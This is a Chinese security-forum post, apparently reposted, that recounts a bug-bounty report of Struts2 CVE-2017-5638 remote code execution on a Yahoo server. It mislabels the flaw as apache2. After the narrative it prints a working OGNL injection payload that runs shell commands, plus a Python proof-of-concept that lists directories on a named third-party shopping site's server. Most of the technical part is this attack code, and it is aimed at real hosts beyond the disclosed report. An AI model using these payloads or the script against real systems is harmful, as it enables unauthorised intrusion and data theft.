搜索
查看: 440|回复: 0

雅虎-价值5000刀的RCE

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-6-5 20:19:49 | 显示全部楼层 |阅读模式
0x001 前言

正如你知道的,apache2(CVE-2017-5638)中发现了一个远程代码执行,许多Web应用程序被大量利用。

0x002 测试过程

经过近3个星期的Struts2漏洞发布,在我的侦察过程中,我遇到了这个链接:https://svdevems01.direct.gq1.yahoo.com/sm/login.jsp 这是一个登录页面雅虎使用的解决方案。


试图在那里找到漏洞,但是我失败,直到我找到这个
URL:https://svdevems01.direct.gq1.ya ... gecontentgrabber.do对于那些.action ,.do,.go这意味着运行struts2web
应用程序。

所以正如我所说的那样,这个漏洞被发布并且易于使用,但是这里有WAF阻止了我的攻击。

我不想就停止在这里,我必须提供一个有效的POC。经过一些搜索后,我发现一个有效载荷可以绕过WAF利用这个漏洞。

我发现的检测方法是使用Content-Type HTTP头发送特制数据包。标题如下所示:

  1. Content-Type: %{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘X-Ack-Th3g3nt3lman-POC’,4*4)}.multipart/form-data
复制代码

新请求Web服务器多个两个数字,并可用于请求Web服务器执行任何其他操作。在上面的例子中,两个数字是44。Web服务器的答案是16,结论是服务器容易受到攻击。

根据下图所示的响应将包含新标题 X-Ack-Th3g3nt3lman-POC: 16



这是公平的,通过hackerone报告雅虎的错误,雅虎在30分钟内对报告进行了审核,将应用程序脱机解决了这个问题,之后我确认了修复程序,在一个星期内,我获得了5500美元。


0x003 绕过方法补充






POC
Payload
  1. ${"~["+new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder(new java.lang.String[]{'/bin/sh','-c','ifconfig|base64 -w 0'}).start().getInputStream())).readLine()+"]~"}
复制代码
POC
  1. #! /usr/bin/env python
  2. # -*- coding: utf-8 -*-
  3. import re
  4. import base64
  5. import requests

  6. path = '/usr/local/bea/'#要读取的路径
  7. url = "http://caipiao.dangdang.com/cbportal/usercenter/hemai.htm"#漏洞URL
  8. data = """--289b3f46292c4eee95g3f64e37d6f4dc\r\nContent-Disposition: form-data; name="redirect:/${"~["+new java.io.File("%s").listFiles()[%s]+"]~"}"\r\n\r\n10498\r\n--289b3f46292c4eee95g3f64e37d6f4dc--"""
  9. try:
  10.     headers = {
  11.                 'Content-Type': 'multipart/form-data; boundary=289b3f46292c4eee95g3f64e37d6f4dc',
  12.                 'User-Agent': 'Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9'
  13.     }
  14.     for x in range(0, 400):
  15.         response = requests.post(url, data = data % (path, str(x)), headers=headers, timeout=5, verify=False, allow_redirects=False)
  16.         result = re.findall(r'~\[(.*?)\]~', response.content, re.S|re.I)
  17.         if len(result) !=0:
  18.             print(result[0])
  19.         else:
  20.             print("Result End.....")
  21.             break
  22. except Exception, e:
  23.     print(str(e))
复制代码


from:https://mp.weixin.qq.com/s?__biz ... Kbe8WIhxEhDDcC6v#rd

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表